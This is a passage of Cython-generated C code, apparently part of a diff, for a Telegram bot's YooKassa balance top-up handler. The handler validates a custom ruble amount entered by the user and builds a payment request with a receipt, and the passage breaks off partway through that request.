__Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_13process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_message = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_input (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_message,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_message)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 233, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 233, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 233, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 233, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_message = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 233, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yookassa_pay_12process_custom_amount_input(__pyx_self, __pyx_v_message, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_12process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_custom_amount_input", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 233, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_message = __pyx_v_message; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_message); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_message); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_14generator4, __pyx_codeobj__20, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_input, __pyx_n_s_process_custom_amount_input, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + int __pyx_t_5; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + Py_ssize_t __pyx_t_13; + Py_UCS4 __pyx_t_14; + int __pyx_t_15; + int __pyx_t_16; + char const *__pyx_t_17; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_input", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L6_resume_from_await; + case 2: goto __pyx_L7_resume_from_await; + case 3: goto __pyx_L8_resume_from_await; + case 4: goto __pyx_L16_resume_from_await; + case 5: goto __pyx_L17_resume_from_await; + case 6: goto __pyx_L25_resume_from_await; + case 7: goto __pyx_L30_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 233, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":235 + * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount <= 0: + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 235, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 235, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 235, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 235, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_5) { + + /* "handlers/payments/yookassa_pay.py":236 + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + * amount = int(message.text) # <<<<<<<<<<<<<< + * if amount <= 0: + * await message.answer( + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":237 + * if message.text.isdigit(): + * amount = int(message.text) + * if amount <= 0: # <<<<<<<<<<<<<< + * await message.answer( + * " . , :" + */ + __pyx_t_3 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_amount, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 237, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 237, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__pyx_t_5) { + + /* "handlers/payments/yookassa_pay.py":238 + * amount = int(message.text) + * if amount <= 0: + * await message.answer( # <<<<<<<<<<<<<< + * " . , :" + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 238, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__21}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 238, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L6_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 238, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 238, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":241 + * " . , :" + * ) + * return # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/yookassa_pay.py":237 + * if message.text.isdigit(): + * amount = int(message.text) + * if amount <= 0: # <<<<<<<<<<<<<< + * await message.answer( + * " . , :" + */ + } + + /* "handlers/payments/yookassa_pay.py":243 + * return + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_yookassa + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 243, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 243, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 243, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 243, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L7_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 243, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 243, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":244 + * + * await state.update_data(amount=amount) + * await state.set_state( # <<<<<<<<<<<<<< + * ReplenishBalanceState.waiting_for_payment_confirmation_yookassa + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/yookassa_pay.py":245 + * await state.update_data(amount=amount) + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_yookassa # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 245, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 245, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_6}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L8_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 244, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 244, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":248 + * ) + * + * try: # <<<<<<<<<<<<<< + * payment = Payment.create( + * { + */ + { + __Pyx_ExceptionSave(&__pyx_t_7, &__pyx_t_8, &__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_9); + /*try:*/ { + + /* "handlers/payments/yookassa_pay.py":249 + * + * try: + * payment = Payment.create( # <<<<<<<<<<<<<< + * { + * "amount": {"value": str(amount), "currency": "RUB"}, + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_Payment); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 249, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_create); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 249, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":251 + * payment = Payment.create( + * { + * "amount": {"value": str(amount), "currency": "RUB"}, # <<<<<<<<<<<<<< + * "confirmation": { + * "type": "redirect", + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 251, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 251, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_10 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 251, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_10); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_value, __pyx_t_10) < 0) __PYX_ERR(0, 251, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 251, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_u_amount, __pyx_t_3) < 0) __PYX_ERR(0, 251, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":253 + * "amount": {"value": str(amount), "currency": "RUB"}, + * "confirmation": { + * "type": "redirect", # <<<<<<<<<<<<<< + * "return_url": "https://pocomacho.ru/success.html", + * }, + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 253, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_type, __pyx_n_u_redirect) < 0) __PYX_ERR(0, 253, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_return_url, __pyx_kp_u_https_pocomacho_ru_success_html) < 0) __PYX_ERR(0, 253, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_u_confirmation, __pyx_t_3) < 0) __PYX_ERR(0, 251, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":256 + * "return_url": "https://pocomacho.ru/success.html", + * }, + * "capture": True, # <<<<<<<<<<<<<< + * "description": " ", + * "receipt": { + */ + if (PyDict_SetItem(__pyx_t_1, __pyx_n_u_capture, Py_True) < 0) __PYX_ERR(0, 251, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_u_description, __pyx_kp_u__8) < 0) __PYX_ERR(0, 251, __pyx_L9_error) + + /* "handlers/payments/yookassa_pay.py":259 + * "description": " ", + * "receipt": { + * "customer": { # <<<<<<<<<<<<<< + * "full_name": message.from_user.full_name, + * "email": f"{message.chat.id}@solo.net", + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 259, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/yookassa_pay.py":260 + * "receipt": { + * "customer": { + * "full_name": message.from_user.full_name, # <<<<<<<<<<<<<< + * "email": f"{message.chat.id}@solo.net", + * "phone": "79000000000", + */ + __pyx_t_10 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 260, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_from_user); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 260, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_full_name); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 260, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_u_full_name, __pyx_t_12) < 0) __PYX_ERR(0, 260, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + + /* "handlers/payments/yookassa_pay.py":261 + * "customer": { + * "full_name": message.from_user.full_name, + * "email": f"{message.chat.id}@solo.net", # <<<<<<<<<<<<<< + * "phone": "79000000000", + * }, + */ + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 261, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_id); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 261, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 261, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyUnicode_ConcatInPlace(__pyx_t_12, __pyx_kp_u_solo_net); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 261, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_u_email, __pyx_t_11) < 0) __PYX_ERR(0, 260, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_u_phone, __pyx_kp_u_79000000000) < 0) __PYX_ERR(0, 260, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_customer, __pyx_t_10) < 0) __PYX_ERR(0, 259, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/yookassa_pay.py":266 + * "items": [ + * { + * "description": " ", # <<<<<<<<<<<<<< + * "quantity": "1.00", + * "amount": { + */ + __pyx_t_10 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 266, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_10); + if (PyDict_SetItem(__pyx_t_10, __pyx_n_u_description, __pyx_kp_u__8) < 0) __PYX_ERR(0, 266, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_10, __pyx_n_u_quantity, __pyx_kp_u_1_00) < 0) __PYX_ERR(0, 266, __pyx_L9_error) + + /* "handlers/payments/yookassa_pay.py":269 + * "quantity": "1.00", + * "amount": { + * "value": str(amount), # <<<<<<<<<<<<<< + * "currency": "RUB", + * }, + */ + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 269, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 269, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_12); + if (PyDict_SetItem(__pyx_t_11, __pyx_n_u_value, __pyx_t_12) < 0) __PYX_ERR(0, 269, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 269, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_10, __pyx_n_u_amount, __pyx_t_11) < 0) __PYX_ERR(0, 266, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_u_vat_code, __pyx_int_1) < 0) __PYX_ERR(0, 266, __pyx_L9_error) + + /* "handlers/payments/yookassa_pay.py":264 + * "phone": 